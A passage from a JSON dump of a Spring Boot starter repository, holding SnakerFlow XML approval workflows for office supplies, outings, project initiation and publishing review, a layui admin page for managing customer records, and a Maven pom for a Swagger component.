    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<process displayName=\"办公用品领用流程\" name=\"office\">\n    <start displayName=\"start1\" layout=\"24,124,-1,-1\" name=\"start1\">\n        <transition g=\"\" name=\"transition1\" offset=\"0,0\" to=\"apply\"/>\n    </start>\n    <end displayName=\"end1\" layout=\"445,124,-1,-1\" name=\"end1\"/>\n    <task assignee=\"step1\" displayName=\"办公用品领用\" layout=\"117,122,-1,-1\" name=\"apply\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition2\" offset=\"0,0\" to=\"approveDept\"/>\n    </task>\n    <task assignee=\"step2\" displayName=\"办公用品负责人审批\" layout=\"265,121,132,52\" name=\"approveDept\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition3\" offset=\"0,0\" to=\"end1\"/>\n    </task>\n</process>\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/resources/flows/office2.snaker",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<process displayName=\"办公用品申购流程\" name=\"office2\">\n    <start displayName=\"start1\" layout=\"24,124,-1,-1\" name=\"start1\">\n        <transition g=\"\" name=\"transition1\" offset=\"0,0\" to=\"apply\"/>\n    </start>\n    <end displayName=\"end1\" layout=\"574,122,-1,-1\" name=\"end1\"/>\n    <task assignee=\"step1\" displayName=\"办公用品申购\" layout=\"117,122,-1,-1\" name=\"apply\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition2\" offset=\"0,0\" to=\"approveDept\"/>\n    </task>\n    <task assignee=\"step2\" displayName=\"部门经理审批\" layout=\"265,121,110,52\" name=\"approveDept\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition3\" offset=\"0,0\" to=\"step4\"/>\n    </task>\n    <task assignee=\"step4\" autoExecute=\"Y\" displayName=\"董事长审批\" layout=\"429,119,-1,-1\" name=\"step4\" performType=\"ANY\" taskType=\"Major\">\n        <transition g=\"\" name=\"transition5\" offset=\"0,0\" to=\"end1\"/>\n    </task>\n</process>\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/resources/flows/outsite.snaker",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<process displayName=\"外出电子流审批流程\" name=\"outsite\">\n    <start displayName=\"start1\" layout=\"24,124,-1,-1\" name=\"start1\">\n        <transition g=\"\" name=\"transition1\" offset=\"0,0\" to=\"apply\"/>\n    </start>\n    <end displayName=\"end1\" layout=\"544,125,-1,-1\" name=\"end1\"/>\n    <task assignee=\"step1\" displayName=\"外出申请\" layout=\"117,122,-1,-1\" name=\"apply\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition2\" offset=\"0,0\" to=\"approveDept\"/>\n    </task>\n    <task assignee=\"step2\" displayName=\"部门经理审批\" layout=\"259,123,-1,-1\" name=\"approveDept\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition4\" offset=\"0,0\" to=\"step3\"/>\n    </task>\n    <task assignee=\"step3\" autoExecute=\"Y\" displayName=\"董事长审批\" layout=\"410,123,-1,-1\" name=\"step3\" performType=\"ANY\" taskType=\"Major\">\n        <transition g=\"\" name=\"transition3\" offset=\"0,0\" to=\"end1\"/>\n    </task>\n</process>\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/resources/flows/plan.snaker",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<process displayName=\"项目计划流程\" name=\"plan\">\n    <start displayName=\"start1\" layout=\"24,124,-1,-1\" name=\"start1\">\n        <transition g=\"\" name=\"transition1\" offset=\"0,0\" to=\"apply\"/>\n    </start>\n    <end displayName=\"end1\" layout=\"570,124,-1,-1\" name=\"end1\"/>\n    <task assignee=\"step1\" displayName=\"项目计划\" layout=\"117,122,-1,-1\" name=\"apply\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition2\" offset=\"0,0\" to=\"approveDept\"/>\n    </task>\n    <task assignee=\"step2\" displayName=\"部门经理审批\" layout=\"272,122,-1,-1\" name=\"approveDept\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition3\" offset=\"0,0\" to=\"decision1\"/>\n    </task>\n    <decision displayName=\"decision1\" expr=\"#flag &gt; 1 ? 'transition5' : 'transition4'\" layout=\"426,124,-1,-1\" name=\"decision1\">\n        <transition g=\"\" name=\"transition4\" offset=\"0,0\" to=\"end1\"/>\n        <transition g=\"\" name=\"transition5\" offset=\"0,0\" to=\"approveBoss\"/>\n    </decision>\n    <task assignee=\"step3\" displayName=\"董事长审批\" layout=\"402,230,125,52\" name=\"approveBoss\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition6\" offset=\"0,0\" to=\"end1\"/>\n    </task>\n</process>\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/resources/flows/project.snaker",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<process displayName=\"项目立项流程\" name=\"project\">\n    <start displayName=\"start1\" layout=\"24,124,-1,-1\" name=\"start1\">\n        <transition g=\"\" name=\"transition1\" offset=\"0,0\" to=\"apply\"/>\n    </start>\n    <end displayName=\"end1\" layout=\"678,127,-1,-1\" name=\"end1\"/>\n    <task assignee=\"step1\" displayName=\"项目承接人\" layout=\"117,122,-1,-1\" name=\"apply\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition2\" offset=\"0,0\" to=\"approveDept\"/>\n    </task>\n    <task assignee=\"step2\" displayName=\"部门经理审批\" layout=\"246,123,-1,-1\" name=\"approveDept\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition3\" offset=\"0,0\" to=\"approveBoss\"/>\n    </task>\n    <task assignee=\"step3\" displayName=\"董事长审批\" layout=\"376,126,-1,-1\" name=\"approveBoss\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition6\" offset=\"0,0\" to=\"approveStep4\"/>\n    </task>\n    <task assignee=\"step2\" autoExecute=\"Y\" displayName=\"部门经理审批\" layout=\"518,125,-1,-1\" name=\"approveStep4\" performType=\"ANY\" taskType=\"Major\">\n        <transition g=\"\" name=\"transition4\" offset=\"0,0\" to=\"end1\"/>\n    </task>\n</process>\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/resources/flows/projectCheck.snaker",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<process displayName=\"审校及发行审批流程\" name=\"examination\">\n    <start displayName=\"start1\" layout=\"45,139,-1,-1\" name=\"start\">\n        <transition g=\"\" name=\"transition6\" offset=\"0,0\" to=\"submitTest\"/>\n    </start>\n    <decision displayName=\"decision1\" layout=\"160,238,-1,-1\" name=\"test\">\n        <transition displayName=\"初审通过\" expr=\"${test == 1}\" g=\"\" name=\"testOK\" offset=\"0,0\" to=\"submitTest2\"/>\n        <transition displayName=\"初审不通过\" expr=\"${test == 0}\" g=\"\" name=\"testNO\" offset=\"0,0\" to=\"reDo\"/>\n    </decision>\n    <task autoExecute=\"Y\" displayName=\"提交复审\" layout=\"138,137,-1,-1\" name=\"submitTest2\" performType=\"ANY\" taskType=\"Major\">\n        <transition displayName=\"去复审\" g=\"\" name=\"toTest2\" offset=\"0,0\" to=\"test2\"/>\n    </task>\n    <task autoExecute=\"Y\" displayName=\"返回重做\" layout=\"138,387,-1,-1\" name=\"reDo\" performType=\"ANY\" taskType=\"Major\"/>\n    <decision displayName=\"decision1\" layout=\"297,139,-1,-1\" name=\"test2\">\n        <transition displayName=\"复审通过\" expr=\"${test == 1}\" g=\"\" name=\"test2OK\" offset=\"0,0\" to=\"submitTest3\"/>\n        <transition displayName=\"复审不通过\" expr=\"${test == 0}\" g=\"\" name=\"test2NO\" offset=\"0,0\" to=\"reDo\"/>\n    </decision>\n    <task autoExecute=\"Y\" displayName=\"提交终审\" layout=\"411,137,-1,-1\" name=\"submitTest3\" performType=\"ANY\" taskType=\"Major\">\n        <transition displayName=\"去终审\" g=\"\" name=\"toTest3\" offset=\"-6,0\" to=\"test3\"/>\n    </task>\n    <decision displayName=\"decision1\" layout=\"390,277,-1,-1\" name=\"test3\">\n        <transition displayName=\"终审不通过\" expr=\"${test == 0}\" g=\"\" name=\"test3NO\" offset=\"0,0\" to=\"reDo\"/>\n        <transition displayName=\"终审通过\" expr=\"${test == 1}\" g=\"\" name=\"test3OK\" offset=\"0,-1\" to=\"join4\"/>\n    </decision>\n    <task autoExecute=\"Y\" displayName=\"提交一校\" layout=\"553,116,92,50\" name=\"submitCheck\" performType=\"ANY\" taskType=\"Major\">\n        <transition displayName=\"去一校\" g=\"\" name=\"toCheck\" offset=\"0,0\" to=\"check\"/>\n    </task>\n    <decision displayName=\"decision1\" layout=\"789,137,-1,-1\" name=\"check\">\n        <transition displayName=\"一校通过\" expr=\"${test == 1}\" g=\"\" name=\"checkOK\" offset=\"-12,0\" to=\"join1\"/>\n        <transition displayName=\"一校不通过\" expr=\"${test==0}\" g=\"\" name=\"checkNO\" offset=\"0,0\" to=\"join4\"/>\n    </decision>\n    <task autoExecute=\"Y\" displayName=\"提交二校\" layout=\"1039,135,-1,-1\" name=\"submitCheck2\" performType=\"ANY\" taskType=\"Major\">\n        <transition displayName=\"去二校\" g=\"\" name=\"toCheck2\" offset=\"0,0\" to=\"check2\"/>\n    </task>\n    <decision displayName=\"decision1\" layout=\"1061,224,-1,-1\" name=\"check2\">\n        <transition displayName=\"二校通过\" expr=\"${test == 1}\" g=\"\" name=\"check2OK\" offset=\"6,0\" to=\"join2\"/>\n        <transition displayName=\"二校不通过\" expr=\"${test==0}\" g=\"\" name=\"check2NO\" offset=\"0,0\" to=\"join1\"/>\n    </decision>\n    <task autoExecute=\"Y\" displayName=\"提交三校\" layout=\"632,222,-1,-1\" name=\"submitCheck3\" performType=\"ANY\" taskType=\"Major\">\n        <transition displayName=\"去三校\" g=\"\" name=\"toCheck3\" offset=\"0,0\" to=\"check3\"/>\n    </task>\n    <decision displayName=\"decision1\" layout=\"654,304,-1,-1\" name=\"check3\">\n        <transition displayName=\"三校通过\" expr=\"${test == 1}\" g=\"\" name=\"check3OK\" offset=\"0,0\" to=\"join3\"/>\n        <transition displayName=\"三校不通过\" expr=\"${test==0}\" g=\"\" name=\"check3NO\" offset=\"0,0\" to=\"join2\"/>\n    </decision>\n    <task autoExecute=\"Y\" displayName=\"提交发行\" layout=\"1039,302,-1,-1\" name=\"submitPublish\" performType=\"ANY\" taskType=\"Major\">\n        <transition displayName=\"去发行\" g=\"\" name=\"toPublish\" offset=\"0,0\" to=\"publish\"/>\n    </task>\n    <decision displayName=\"发行审批\" layout=\"1061,389,-1,-1\" name=\"publish\">\n        <transition displayName=\"发行通过\" expr=\"${test == 1}\" g=\"\" name=\"publishOK\" offset=\"0,0\" to=\"doPack\"/>\n        <transition displayName=\"发行不通过\" expr=\"${test==0}\" g=\"\" name=\"publishNO\" offset=\"0,0\" to=\"join3\"/>\n    </decision>\n    <end displayName=\"end1\" layout=\"545,389,-1,-1\" name=\"end1\"/>\n    <task autoExecute=\"Y\" displayName=\"打包发行\" layout=\"632,387,-1,-1\" name=\"doPack\" performType=\"ANY\" taskType=\"Major\">\n        <transition g=\"\" name=\"transition1\" offset=\"0,0\" to=\"end1\"/>\n    </task>\n    <join displayName=\"join1\" layout=\"901,137,-1,-1\" name=\"join1\">\n        <transition g=\"\" name=\"transition2\" offset=\"0,0\" to=\"submitCheck2\"/>\n    </join>\n    <join displayName=\"join2\" layout=\"854,224,-1,-1\" name=\"join2\">\n        <transition g=\"\" name=\"transition3\" offset=\"0,0\" to=\"submitCheck3\"/>\n    </join>\n    <join displayName=\"join3\" layout=\"854,304,-1,-1\" name=\"join3\">\n        <transition g=\"\" name=\"transition4\" offset=\"0,0\" to=\"submitPublish\"/>\n    </join>\n    <join displayName=\"join4\" layout=\"550,211,-1,-1\" name=\"join4\">\n        <transition g=\"\" name=\"transition5\" offset=\"0,0\" to=\"submitCheck\"/>\n    </join>\n    <task assignee=\"${user}\" autoExecute=\"N\" displayName=\"提交初审\" layout=\"23,236,-1,-1\" name=\"submitTest\" performType=\"ANY\" taskType=\"Major\">\n        <transition displayName=\"去初审\" g=\"\" name=\"toTest\" offset=\"-6,-2\" to=\"test\"/>\n    </task>\n</process>\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/resources/flows/project_old.snaker",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<process displayName=\"项目立项流程\" name=\"project\">\n    <start displayName=\"start1\" layout=\"24,124,-1,-1\" name=\"start1\">\n        <transition g=\"\" name=\"transition1\" offset=\"0,0\" to=\"apply\"/>\n    </start>\n    <end displayName=\"end1\" layout=\"570,124,-1,-1\" name=\"end1\"/>\n    <task assignee=\"step1\" displayName=\"项目立项\" layout=\"117,122,-1,-1\" name=\"apply\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition2\" offset=\"0,0\" to=\"approveDept\"/>\n    </task>\n    <task assignee=\"step2\" displayName=\"部门经理审批\" layout=\"272,122,-1,-1\" name=\"approveDept\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition3\" offset=\"0,0\" to=\"decision1\"/>\n    </task>\n    <decision displayName=\"decision1\" expr=\"#flag &gt; 1 ? 'transition5' : 'transition4'\" layout=\"426,124,-1,-1\" name=\"decision1\">\n        <transition g=\"\" name=\"transition4\" offset=\"0,0\" to=\"end1\"/>\n        <transition g=\"\" name=\"transition5\" offset=\"0,0\" to=\"approveBoss\"/>\n    </decision>\n    <task assignee=\"step3\" displayName=\"总经理审批\" layout=\"404,231,-1,-1\" name=\"approveBoss\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition6\" offset=\"0,0\" to=\"end1\"/>\n    </task>\n</process>\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/resources/flows/recheck.snaker",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<process displayName=\"项目复核流程\" name=\"recheck\">\n    <start displayName=\"start1\" layout=\"24,124,-1,-1\" name=\"start1\">\n        <transition g=\"\" name=\"transition1\" offset=\"0,0\" to=\"apply\"/>\n    </start>\n    <end displayName=\"end1\" layout=\"710,121,-1,-1\" name=\"end1\"/>\n    <task assignee=\"step1\" displayName=\"项目复核\" layout=\"117,122,-1,-1\" name=\"apply\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition2\" offset=\"0,0\" to=\"approveDept\"/>\n    </task>\n    <task assignee=\"step2\" displayName=\"一级复核审批\" layout=\"272,122,-1,-1\" name=\"approveDept\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition3\" offset=\"0,0\" to=\"approveBoss\"/>\n    </task>\n    <task assignee=\"step3\" displayName=\"二级复核审批\" layout=\"422,122,-1,-1\" name=\"approveBoss\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition6\" offset=\"0,0\" to=\"task4\"/>\n    </task>\n    <task assignee=\"step4\" autoExecute=\"Y\" displayName=\"三级复核审批\" layout=\"567,119,-1,-1\" name=\"task4\" performType=\"ANY\" taskType=\"Major\">\n        <transition g=\"\" name=\"transition4\" offset=\"0,0\" to=\"end1\"/>\n    </task>\n</process>\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/resources/flows/weekly.snaker",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?>\n<process displayName=\"项目周报审批\" name=\"weekly\">\n    <start displayName=\"start1\" layout=\"24,124,-1,-1\" name=\"start1\">\n        <transition g=\"\" name=\"transition1\" offset=\"0,0\" to=\"step1\"/>\n    </start>\n    <end displayName=\"end1\" layout=\"447,122,-1,-1\" name=\"end1\"/>\n    <task assignee=\"step1\" displayName=\"部门经理审批\" layout=\"127,123,-1,-1\" name=\"step1\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition2\" offset=\"0,0\" to=\"step2\"/>\n    </task>\n    <task assignee=\"step2\" displayName=\"董事长审批\" layout=\"272,122,-1,-1\" name=\"step2\" performType=\"ANY\">\n        <transition g=\"\" name=\"transition3\" offset=\"0,0\" to=\"end1\"/>\n    </task>\n</process>\n"
  },
  {
    "path": "jun_springboot_starter/jun-snakerflow-spring-boot-starter/src/main/resources/templates/biztest/list.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\" xmlns:shiro=\"http://www.pollix.at/thymeleaf/shiro\"\n      xmlns:th=\"http://www.thymeleaf.org\">\n<head>\n  <meta charset=\"UTF-8\">\n  <title>Title</title>\n  <link rel=\"stylesheet\" href=\"/layui/css/layui.css\">\n  <link rel=\"stylesheet\" href=\"/css/custom.form.css\">\n</head>\n<body>\n<div class=\"panel panel-default operation\" hidden>\n  <div class=\"panel-heading title\"></div>\n<div class=\"layui-card-body\">\n<form class=\"layui-form \" action=\"\" lay-filter=\"info\" style=\"width: 700px;margin-top: 10px\">\n      <input name=\"id\" hidden/>\n        <div class=\"layui-form-item\">\n      <label class=\"layui-form-label\">客户名称</label>\n      <div class=\"layui-input-block\">\n        <input type=\"cusname\" name=\"cusname\" placeholder=\"请输入客户名称\" autocomplete=\"off\" class=\"layui-input\">\n      </div>\n    </div>\n        <div class=\"layui-form-item\">\n      <label class=\"layui-form-label\">注册金额</label>\n      <div class=\"layui-input-block\">\n        <input type=\"money\" name=\"money\" placeholder=\"请输入注册金额\" autocomplete=\"off\" class=\"layui-input\">\n      </div>\n    </div>\n        <div class=\"layui-form-item\">\n      <label class=\"layui-form-label\">客户描述</label>\n      <div class=\"layui-input-block\">\n        <input type=\"cusdesc\" name=\"cusdesc\" placeholder=\"请输入客户描述\" autocomplete=\"off\" class=\"layui-input\">\n      </div>\n    </div>\n        <div class=\"layui-form-item\">\n      <label class=\"layui-form-label\">客户全称</label>\n      <div class=\"layui-input-block\">\n        <input type=\"fullname\" name=\"fullname\" placeholder=\"请输入客户全称\" autocomplete=\"off\" class=\"layui-input\">\n      </div>\n    </div>\n        <div class=\"layui-form-item\">\n      <label class=\"layui-form-label\">客户性质</label>\n      <div class=\"layui-input-block\">\n        <input type=\"dictCussex\" name=\"dictCussex\" placeholder=\"请输入客户性质\" autocomplete=\"off\" class=\"layui-input\">\n      </div>\n    </div>\n        <div class=\"layui-form-item\">\n      <label class=\"layui-form-label\">注册时间</label>\n      <div class=\"layui-input-block\">\n        <input type=\"registerDate\" name=\"registerDate\" placeholder=\"请输入注册时间\" autocomplete=\"off\" class=\"layui-input\">\n      </div>\n    </div>\n        <div class=\"layui-form-item\">\n      <label class=\"layui-form-label\">客户类型</label>\n      <div class=\"layui-input-block\">\n        <input type=\"dictCustype\" name=\"dictCustype\" placeholder=\"请输入客户类型\" autocomplete=\"off\" class=\"layui-input\">\n      </div>\n    </div>\n        <div class=\"layui-form-item\">\n      <label class=\"layui-form-label\"></label>\n      <div class=\"layui-input-block\">\n        <input type=\"refId\" name=\"refId\" placeholder=\"请输入\" autocomplete=\"off\" class=\"layui-input\">\n      </div>\n    </div>\n        <div class=\"layui-form-item\">\n      <label class=\"layui-form-label\">关联子客户名称</label>\n      <div class=\"layui-input-block\">\n        <input type=\"refTitleUsername\" name=\"refTitleUsername\" placeholder=\"请输入关联子客户名称\" autocomplete=\"off\" class=\"layui-input\">\n      </div>\n    </div>\n        <div class=\"layui-form-item\">\n      <label class=\"layui-form-label\">备注</label>\n      <div class=\"layui-input-block\">\n        <input type=\"remark\" name=\"remark\" placeholder=\"请输入备注\" autocomplete=\"off\" class=\"layui-input\">\n      </div>\n    </div>\n  <div class=\"layui-form-item\">\n  <div class=\"layui-input-block\">\n    <button type=\"submit\" class=\"layui-btn\" lay-submit=\"\" lay-filter=\"submit\">保存</button>\n    <button  class=\"layui-btn layui-btn-primary\" id=\"btn_cancel\">返回</button>\n  </div>\n</div>\n</form>\n</div>\n</div>\n\n<div class=\"table_div\">\n  <div id=\"searchParam\"  shiro:hasPermission=\"bizTest:list\">\n    <div class=\"layui-form-item\">\n      <div class=\"layui-input-inline\">\n        <input type=\"text\" id=\"key\" class=\"layui-input\"  autocomplete=\"off\" placeholder=\"请输入\">\n      </div>\n\n      <div class=\"layui-input-inline \">\n        <button class=\"layui-btn\" onclick=\"search()\"  id=\"search\">查询</button>\n        <button class=\"layui-btn\"   id=\"export\">导出全部</button>\n      </div>\n    </div>\n\n  </div>\n  <table class=\"layui-table\" id=\"showTable\" lay-filter=\"showTable\" ></table>\n</div>\n<script type=\"text/html\" id=\"toolbar\">\n  <div class=\"layui-btn-container\">\n    <button class=\"layui-btn layui-btn-sm\" lay-event=\"add\"  shiro:hasPermission=\"bizTest:add\">添加</button>\n    <button class=\"layui-btn layui-btn-sm  layui-btn-danger \" lay-event=\"batchDeleted\" shiro:hasPermission=\"bizTest:delete\">删除</button>\n  </div>\n</script>\n<script type=\"text/html\" id=\"tool\">\n  <a class=\"layui-btn layui-btn-xs\" lay-event=\"edit\" shiro:hasPermission=\"bizTest:update\">编辑</a>\n  <a class=\"layui-btn layui-btn-danger layui-btn-xs\" lay-event=\"del\" shiro:hasPermission=\"bizTest:delete\">删除</a>\n</script>\n\n</body>\n</html>\n<script src=\"/layui/layui.all.js\"></script>\n<script src=\"/js/core.util.js\"></script>\n<script>\n  //获取token\n  var token = CoreUtil.getData(\"access_token\");\n  //地址栏转义token中的#号\n  var tokenQuery = token.replace(\"#\", \"%23\");\n  var tableIns1;\n  var table = layui.table;\n  var form = layui.form;\n  var layer = layui.layer;\n  var $ = jQuery = layui.jquery;\n  var laydate = layui.laydate;\n\n  layui.use(['table', 'layer', 'laydate'], function () {\n\n    //加载table\n    tableIns1 = table.render({\n      elem: '#showTable'\n      , contentType: 'application/json'\n      , headers: {\"authorization\": token}\n      , page: true //开启分页\n      , url: '/bizTest/listByPage' //数据接口\n      , method: 'POST'\n      , parseData: function (res) { //将原始数据解析成 table 组件所规定的数据\n        return {\n          \"code\": res.code, //解析接口状态\n          \"msg\": res.msg, //解析提示文本\n          \"count\": CoreUtil.isEmpty(res.data) ? 0 : res.data.total, //解析数据长度\n          \"data\": CoreUtil.isEmpty(res.data) ? null : res.data.records //解析数据列表\n        }\n      }\n      , cols: [\n        [\n          {type: 'checkbox', fixed: 'left'},\n          {field: 'id', title: '', sort: true},\n          {field: 'cusname', title: '客户名称', sort: true},\n          {field: 'money', title: '注册金额', sort: true},\n          {field: 'cusdesc', title: '客户描述', sort: true},\n          {field: 'fullname', title: '客户全称', sort: true},\n          {field: 'dictCussex', title: '客户性质', sort: true},\n          {field: 'registerDate', title: '注册时间', sort: true},\n          {field: 'dictCustype', title: '客户类型', sort: true},\n          {field: 'refId', title: '', sort: true},\n          {field: 'refTitleUsername', title: '关联子客户名称', sort: true},\n          {field: 'remark', title: '备注', sort: true},\n          {width: 120, toolbar: \"#tool\", title: '操作'}\n        ]\n      ]\n      , toolbar: '#toolbar'\n    });\n\n\n    //表头工具\n    table.on('toolbar(showTable)', function(obj){\n      switch(obj.event){\n        case 'batchDeleted':\n          var checkStatus = table.checkStatus(obj.config.id);\n          var data = checkStatus.data;\n          if(data.length==0){\n            layer.msg(\"请选择要批量删除的列\");\n          }else {\n            var ids = [];\n            $(data).each(function (index,item) {\n              ids.push(item.id);\n            });\n            tipDialog(ids);\n          }\n          break;\n        case 'add':\n          $(\".table_div\").hide();\n          $(\".operation\").show();\n          $(\".title\").html(\"新增\");\n          $(\".operation input[name=id]\").val(\"\");\n          $(\".operation input[name=cusname]\").val(\"\");\n          $(\".operation input[name=money]\").val(\"\");\n          $(\".operation input[name=cusdesc]\").val(\"\");\n          $(\".operation input[name=fullname]\").val(\"\");\n          $(\".operation input[name=dictCussex]\").val(\"\");\n          $(\".operation input[name=registerDate]\").val(\"\");\n          $(\".operation input[name=dictCustype]\").val(\"\");\n          $(\".operation input[name=refId]\").val(\"\");\n          $(\".operation input[name=refTitleUsername]\").val(\"\");\n          $(\".operation input[name=remark]\").val(\"\");\n          break;\n      };\n    });\n    //列操作\n    table.on('tool(showTable)',function (obj) {\n      var data = obj.data;\n      switch (obj.event) {\n        case 'del':\n          var ids=[];\n          ids.push(data.id);\n          tipDialog(ids);\n          break;\n        case 'edit':\n          $(\".table_div\").hide();\n          $(\".operation\").show();\n          $(\".title\").html(\"编辑\");\n          $(\".operation input[name=id]\").val(data.id);\n          $(\".operation input[name=cusname]\").val(data.cusname);\n          $(\".operation input[name=money]\").val(data.money);\n          $(\".operation input[name=cusdesc]\").val(data.cusdesc);\n          $(\".operation input[name=fullname]\").val(data.fullname);\n          $(\".operation input[name=dictCussex]\").val(data.dictCussex);\n          $(\".operation input[name=registerDate]\").val(data.registerDate);\n          $(\".operation input[name=dictCustype]\").val(data.dictCustype);\n          $(\".operation input[name=refId]\").val(data.refId);\n          $(\".operation input[name=refTitleUsername]\").val(data.refTitleUsername);\n          $(\".operation input[name=remark]\").val(data.remark);\n          break;\n      }\n    });\n\n    //导出\n    $('#export').on('click', function () {\n      //原先分页limit\n      var exportParams = {\n        limit: 10000,\n        key: $(\"#key\").val()\n      };\n      CoreUtil.sendPost(\"/bizTest/listByPage\", exportParams, function (res) {\n        //初始化渲染数据\n        if (res.data != null && res.data.records != null) {\n          table.exportFile(tableIns1.config.id, res.data.records, 'xls');\n        }\n      });\n    });\n\n    //删除\n    var tipDialog=function (ids) {\n      layer.open({\n          skin: 'layui-layer-admin',\n        content: \"确定要删除么?\",\n        yes: function(index, layero){\n          layer.close(index); //如果设定了yes回调，需进行手工关闭\n          CoreUtil.sendDelete(\"/bizTest/delete\",ids,function (res) {\n            layer.msg(res.msg, {time:1000},function () {\n              search();\n            });\n          });\n        }\n      });\n    };\n\n    //返回\n    $(\"#btn_cancel\").click(function() {\n      $(\".table_div\").show();\n      $(\".operation\").hide();\n      return false;\n    });\n\n    //监听保存\n    form.on('submit(submit)', function(data){\n      if(data.field.id===undefined || data.field.id===null || data.field.id===\"\"){\n        CoreUtil.sendPost(\"/bizTest/add\",data.field,function (res) {\n          $(\".table_div\").show();\n          $(\".operation\").hide();\n          search();\n        });\n      }else {\n        CoreUtil.sendPut(\"/bizTest/update\",data.field,function (res) {\n          $(\".table_div\").show();\n          $(\".operation\").hide();\n          search();\n        });\n      }\n\n      return false;\n    });\n  });\n\n  //执行查询\n  function search() {\n    //这里以搜索为例\n    tableIns1.reload({\n      where: { //设定异步数据接口的额外参数，任意设\n        key: $(\"#key\").val()\n      }\n      , page: {\n        curr: 1 //重新从第 1 页开始\n      }\n    });\n  };\n</script>"
  },
  {
    "path": "jun_springboot_starter/jun-swagger2-spring-boot-starter/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n         xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n         xsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n    <modelVersion>4.0.0</modelVersion>\n    <groupId>io.github.wujun728</groupId>\n    <artifactId>jun-swagger2-spring-boot-starter</artifactId>\n    <version>1.0.25</version>\n    <packaging>jar</packaging>\n    <description>swagger通用组件</description>\n\n    <properties>\n        <java.version>1.8</java.version>\n        <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n        <maven.compiler.source>1.8</maven.compiler.source>\n        <maven.compiler.target>1.8</maven.compiler.target>\n        <jun.version>1.0.25</jun.version>\n        <spring-boot.version>2.5.14</spring-boot.version>\n        <spring-cloud.version>2020.0.6</spring-cloud.version>\n        <knife4j.version>2.0.5</knife4j.version>\n        <lombok.version>1.18.20</lombok.version>\n        <mica-auto.version>2.3.2</mica-auto.version>\n    </properties>\n\n    <dependencyManagement>\n        <dependencies>\n            <dependency>\n                <groupId>org.springframework.boot</groupId>\n                <artifactId>spring-boot-dependencies</artifactId>\n                <version>${spring-boot.version}</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n            <dependency>\n                <groupId>org.springframework.cloud</groupId>\n                <artifactId>spring-cloud-dependencies</artifactId>\n                <version>${spring-cloud.version}</version>\n                <type>pom</type>\n                <scope>import</scope>\n            </dependency>\n        </dependencies>\n    </dependencyManagement>\n    <dependencies>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-starter</artifactId>\n        </dependency>\n        <dependency>\n            <groupId>com.github.xiaoymin</groupId>\n            <artifactId>knife4j-micro-spring-boot-starter</artifactId>\n            <version>${knife4j.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.springframework.boot</groupId>\n            <artifactId>spring-boot-configuration-processor</artifactId>\n            <optional>true</optional>\n        </dependency>\n        <!--<dependency>\n            <groupId>com.github.zlt2000</groupId>\n            <artifactId>swagger-butler-core</artifactId>\n        </dependency>-->\n        <dependency>\n            <groupId>net.dreamlu</groupId>\n            <artifactId>mica-auto</artifactId>\n            <version>${mica-auto.version}</version>\n        </dependency>\n        <dependency>\n            <groupId>org.projectlombok</groupId>\n            <artifactId>lombok</artifactId>\n            <version>${lombok.version}</version>\n        </dependency>\n    </dependencies>\n</project>\n"
  },
  {
    "path": "jun_springboot_starter/jun-swagger2-spring-boot-starter/src/main/java/io/github/wujun728/common/swagger2/SwaggerAutoConfiguration.java",
